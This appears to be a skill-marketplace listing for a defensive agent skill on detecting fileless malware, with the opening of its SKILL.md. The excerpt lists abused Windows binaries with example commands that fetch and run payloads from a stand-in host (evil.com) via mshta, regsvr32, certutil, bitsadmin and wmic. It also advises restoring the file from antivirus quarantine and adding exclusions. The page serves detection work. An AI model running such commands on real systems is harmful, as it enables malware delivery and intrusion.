detecting-fileless-malware-techniques
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and…
Skill by mukul975
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Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
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About
Use cases: security, writing
Reviews
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Permissions
What this skill can do and what it asks for, from its SKILL.md and code. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
- Runs as
- Python package
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/detecting-fileless-malware-techniques
What's inside
- Skill name
detecting-fileless-malware-techniques- Description
- Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
- License
- Apache-2.0
- Instructions
- 392 lines in SKILL.md · view on GitHub
Before installing
- Ships executable scripts
Files (5)
- LICENSE
- SKILL.md
- api-reference.md · references/
- yara-fileless-powershell.yar · references/
- agent.py · scripts/
SKILL.md (first lines)
# Detecting Fileless Malware Techniques
## When to Use
- EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
- Investigating attacks that leave no traditional malware files on disk
- Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
- Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
- Memory forensics reveals malicious code but no corresponding files exist on the filesystem
**Do not use** for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.
## Windows Defender / Antivirus False Positive
Some endpoint antivirus products — notably **Windows Defender** (signature `Trojan:script/Wacatac.H!ml`) — may quarantine this skill's `SKILL.md` as malicious. This is a **known false positive**: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.
**If quarantined:** restore the file from quarantine, add an exclusion for your local agent skills directory, and see [GitHub issue #100](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues/100) for discussion. YARA strings live in `references/yara-fileless-powershell.yar` (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.
## Prerequisites
- Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
- PowerShell Script Block Logging and Module Logging enabled
- Volatility 3 for memory forensics of fileless malware artifacts
- Process Monitor (ProcMon) for real-time system activity monitoring
- Windows Event Log access with adequate retention policies
- Autoruns for identifying persistence mechanisms
## Workflow
### Step 1: Identify LOLBin Usage
Detect abuse of legitimate Windows binaries for malicious purposes:
```
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
```
### Step 2: Detect WMI-Based Persistence
Analyze WMI event subscriptions used for fileless persistence:
```bash
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
```
```python
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":From mukul975/Anthropic-Cybersecurity-Skills, Apache-2.0.
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Signals
- Stars
- 34,941
- Forks
- 4,256
- Open issues
- 24
- Last commit (this folder)
- Aug 20, 2026 (2 months ago)
- Last release
- Jun 22, 2026 (4 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- Apache-2.0
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
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detecting-fileless-malware-techniques skill. Agent Mart. https://agentmart.dev/skills/mukul975-detecting-fileless-malware-techniques (last updated 2026-10-24)